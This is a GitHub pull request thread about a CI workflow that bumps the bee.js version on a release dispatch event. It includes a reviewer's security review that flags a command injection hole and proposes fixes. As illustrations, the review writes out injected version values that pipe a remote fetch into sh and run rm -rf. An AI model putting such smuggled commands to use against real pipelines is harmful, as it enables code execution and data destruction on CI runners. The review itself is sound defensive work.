ci: handle bee.js released event

[slapec93]

When a new Bee.js version is released, it dispatches an event, so a new PR can be opened to bump Bee.js version to the latest.

Before merge TODO:

• Install https://github.com/apps/ethersphere-release-dispatcher in this repository (it's required for Github authorization)

[darkobas2]

Code-level review of the workflow:

1. Command injection (blocker)

- name: Update BEE_JS_VERSION in dependency.ts
  run: |
    VERSION=${{ github.event.client_payload.version }}
    sed -i "s/.../^$VERSION/" src/dependency.ts

client_payload.version is interpolated by the workflow runner before bash sees the script. A payload like 1.0.0"; curl x|sh; # becomes literal shell. The trigger is repository_dispatch so only the dispatcher App can fire it today, but if the App's private key ever leaks (or any future write-access path exists) this is RCE on the runner. Standard GH Actions hardening pattern is env vars:

- name: Update BEE_JS_VERSION in dependency.ts
  env:
    VERSION: ${{ github.event.client_payload.version }}
  run: |
    sed -i "s/.../^${VERSION}/" src/dependency.ts

Refs: GH Actions security hardening. CodeQL flags the original pattern.

2. Validate the version (defense in depth)

Even with env-var hardening, sed runs on whatever's in $VERSION. A value like 0.0.0; rm -rf . wrecks the working tree without RCE. Add a regex gate before sed:

- name: Validate version
  env:
    VERSION: ${{ github.event.client_payload.version }}
  run: |
    if ! printf '%s' "$VERSION" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.-]+)?$'; then
      echo "invalid version: $VERSION" >&2; exit 1
    fi

3. PR token — auto-bump PR won't trigger CI as written

peter-evans/create-pull-request@v7 defaults to secrets.GITHUB_TOKEN. PRs opened by the github-actions bot don't trigger workflow runs (GitHub anti-loop protection). So the bump PR sits with empty checks — defeating the "see if tests pass on each upstream release" goal.

Fix: pass the App token here too (requires the same App installed on this repo). Add a create-github-app-token step at the top of this job, then:

- uses: peter-evans/create-pull-request@v7
  with:
    token: ${{ steps.app-token.outputs.token }}
    ...

4. Pin third-party action by exact version

Given the team's concern about action stability, pin peter-evans/create-pull-request to an exact tag (e.g. @v7.0.5) rather than the floating @v7. Lower-risk update cadence and reproducible builds.

5. Minor: fetch-depth: 0 is unneeded

The job only edits one file in working tree — default depth 1 is fine.

[darkobas2]

On the App-token step (per point 3 in the review above) — the org already has the App credentials stored as organization secrets, no per-repo setup needed:

• BEE_RUNNER_APP_ID (numeric) or BEE_RUNNER_CLIENT_ID (string) — either format works as app-id
• BEE_RUNNER_KEY (private key)

So the receiver step looks like:

- name: Generate App token
  id: app-token
  uses: actions/create-github-app-token@v1
  with:
    app-id: ${{ secrets.BEE_RUNNER_CLIENT_ID }}
    private-key: ${{ secrets.BEE_RUNNER_KEY }}

- uses: peter-evans/create-pull-request@v7
  with:
    token: ${{ steps.app-token.outputs.token }}
    ...

The App needs to be installed on this repo with contents: write + pull_requests: write for the PR to be created under the App and trigger downstream CI.